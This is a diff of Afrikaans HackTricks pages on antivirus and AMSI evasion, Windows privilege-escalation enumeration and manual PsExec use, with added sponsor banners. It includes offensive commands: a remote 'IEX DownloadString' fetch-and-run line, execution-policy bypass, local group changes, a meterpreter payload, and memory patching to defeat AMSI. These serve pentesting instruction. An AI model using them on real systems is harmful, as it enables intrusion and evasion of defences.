<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -59,19 +65,19 @@ Sommige ander regtig goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) o
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanaal</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanaal</p></figcaption></figure>
|
||||||
|
|
||||||
Soos ons voorheen in hierdie pos gesê het, **openbare gereedskap** sal uiteindelik **opgespoor word**, so jy moet jouself iets vra:
|
Soos ons voorheen in hierdie pos gesê het, **publieke gereedskap** sal uiteindelik **opgespoor word**, so jy moet jouself iets vra:
|
||||||
|
|
||||||
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
|
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
|
||||||
|
|
||||||
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so soek net na alternatiewe vir wat jy probeer bereik.
|
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
Wanneer jy jou payloads vir ontwyking aanpas, maak seker om **outomatiese monster indiening** in Defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om ontwyking op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## EXEs vs DLLs
|
## EXEs vs DLLs
|
||||||
|
|
||||||
Wanneer dit moontlik is, moet jy altyd **prioritiseer om DLLs vir evasie te gebruik**, in my ervaring, is DLL-lêers gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
|
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir ontwyking**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
|
||||||
|
|
||||||
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
|
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
|
||||||
|
|
||||||
|
@ -174,7 +180,7 @@ Die uitvoering van `IEX (New-Object Net.WebClient).DownloadString('https://raw.g
|
||||||
|
|
||||||
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
|
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
|
||||||
|
|
||||||
Ons het nie enige lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
Ons het geen lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
||||||
|
|
||||||
Daar is 'n paar maniere om rondom AMSI te kom:
|
Daar is 'n paar maniere om rondom AMSI te kom:
|
||||||
|
|
||||||
|
@ -182,7 +188,7 @@ Daar is 'n paar maniere om rondom AMSI te kom:
|
||||||
|
|
||||||
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
|
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
|
||||||
|
|
||||||
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy moet doen, om 'n paar veranderlikes se name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
|
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal goed wees, so dit hang af van hoe veel iets gemerk is.
|
||||||
|
|
||||||
* **AMSI Ontwyking**
|
* **AMSI Ontwyking**
|
||||||
|
|
||||||
|
@ -218,7 +224,7 @@ Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos uitkom, so
|
||||||
|
|
||||||
**Geheue Patching**
|
**Geheue Patching**
|
||||||
|
|
||||||
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat geïnterpreteer word as 'n skoon resultaat.
|
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal teruggee, wat as 'n skoon resultaat geïnterpreteer word.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
|
Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
|
||||||
|
@ -235,10 +241,10 @@ Daar is verskeie gereedskap wat gebruik kan word om **C# duidelike tekskode te o
|
||||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskeerder**
|
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskeerder**
|
||||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskaasie](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en tamper-proofing.
|
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskaasie](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en tamper-proofing.
|
||||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
|
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
|
||||||
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word, wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
||||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
||||||
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
|
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
|
||||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-granulêre kode obfuskaasie raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskaasie raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
||||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
|
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
|
||||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
|
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
|
||||||
|
|
||||||
|
@ -250,7 +256,7 @@ Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die e
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voer steeds uit te klik).
|
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Tog uitvoer te klik).
|
||||||
|
|
||||||
**MoTW** (Merk van die Web) is 'n [NTFS Alternatiewe Data Stroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
|
**MoTW** (Merk van die Web) is 'n [NTFS Alternatiewe Data Stroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
|
||||||
|
|
||||||
|
@ -260,11 +266,11 @@ SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken
|
||||||
Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningssertifikaat **nie SmartScreen sal aktiveer** nie.
|
Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningssertifikaat **nie SmartScreen sal aktiveer** nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
'n Baie effektiewe manier om te verhoed dat jou payloads die Merk van die Web kry, is om dit in 'n soort houer soos 'n ISO te verpakkie. Dit gebeur omdat die Merk-van-die-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
'n Baie effektiewe manier om te verhoed dat jou payloads die Merk van die Web kry, is om dit binne 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat die Merk-van-die-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpakkie om die Merk-van-die-Web te ontwyk.
|
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpak om die Merk-van-die-Web te ontwyk.
|
||||||
|
|
||||||
Voorbeeld gebruik:
|
Voorbeeld gebruik:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -302,18 +308,18 @@ Meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bi
|
||||||
|
|
||||||
* **Fork\&Run**
|
* **Fork\&Run**
|
||||||
|
|
||||||
Dit behels **die ontstaan van 'n nuwe offer proses**, spuit jou post-exploitation kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitend** ons Beacon implanteer proses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaat oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
|
Dit behels **die ontstaan van 'n nuwe offer proses**, spuit jou post-exploitation kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitentoe** ons Beacon implanteer proses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaat oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **Inline**
|
* **Inline**
|
||||||
|
|
||||||
Dit gaan oor die spuit van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is om **jou beacon te verloor** aangesien dit kan neerstort.
|
Dit gaan oor die spuit van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is om **jou beacon te verloor** aangesien dit kan crash.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
As jy meer wil lees oor C# Assembly laai, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
As jy meer oor C# Assembly laai wil lees, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||||
|
@ -344,7 +350,7 @@ Dit is ook 'n ander goeie praatjie van [@mariuszbit](https://twitter.com/mariusz
|
||||||
|
|
||||||
### **Kontroleer watter dele Defender as kwaadwillig vind**
|
### **Kontroleer watter dele Defender as kwaadwillig vind**
|
||||||
|
|
||||||
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre lêer sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal skei.\
|
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre lêer sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou verdeel.\
|
||||||
Nog 'n hulpmiddel wat die **selfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
Nog 'n hulpmiddel wat die **selfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Telnet Bediening**
|
### **Telnet Bediening**
|
||||||
|
@ -563,9 +569,15 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,6 +15,14 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Stelselinligting
|
## Stelselinligting
|
||||||
|
|
||||||
### Weergawe en Patches inligting
|
### Weergawe en Patches inligting
|
||||||
|
@ -49,7 +57,7 @@ Some env variables to highlight:
|
||||||
```bash
|
```bash
|
||||||
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
||||||
```
|
```
|
||||||
### Gemonteerde skywe
|
### Gemonteerde skyfies
|
||||||
```bash
|
```bash
|
||||||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||||
wmic logicaldisk get caption,description,providername
|
wmic logicaldisk get caption,description,providername
|
||||||
|
@ -193,7 +201,7 @@ net localgroup "Power users" UserLoginName /add
|
||||||
```
|
```
|
||||||
## Netwerk
|
## Netwerk
|
||||||
|
|
||||||
### Interfaces, Rote, Poorte, Gashere en DNSCache
|
### Interfaces, Roetes, Poorte, Gashere en DNSCache
|
||||||
```bash
|
```bash
|
||||||
ipconfig /all #Info about interfaces
|
ipconfig /all #Info about interfaces
|
||||||
route print #Print available routes
|
route print #Print available routes
|
||||||
|
@ -409,16 +417,25 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
|
||||||
# Execute a script stored in an ADS using PowerShell
|
# Execute a script stored in an ADS using PowerShell
|
||||||
powershell -ep bypass - < c:\temp:ttt
|
powershell -ep bypass - < c:\temp:ttt
|
||||||
```
|
```
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -10,11 +10,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## Hoe werk hulle
|
## Hoe werk hulle
|
||||||
|
|
||||||
Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens binaire gemanipuleer word om afstandsuitvoering op 'n teiken masjien via SMB te bereik:
|
Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens binaire gemanipuleer word om afstandsuitvoering op 'n teiken masjien via SMB te bereik:
|
||||||
|
@ -26,10 +30,10 @@ Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens
|
||||||
|
|
||||||
### **Proses van Handmatige Uitvoering van PsExec**
|
### **Proses van Handmatige Uitvoering van PsExec**
|
||||||
|
|
||||||
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirusdeteksie te ontwyk), genaamd 'met8888.exe', wat 'n meterpreter reverse\_http payload verteenwoordig, die volgende stappe word geneem:
|
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirusdeteksie te ontwyk), genaamd 'met8888.exe', wat 'n meterpreter reverse\_http payload verteenwoordig, word die volgende stappe geneem:
|
||||||
|
|
||||||
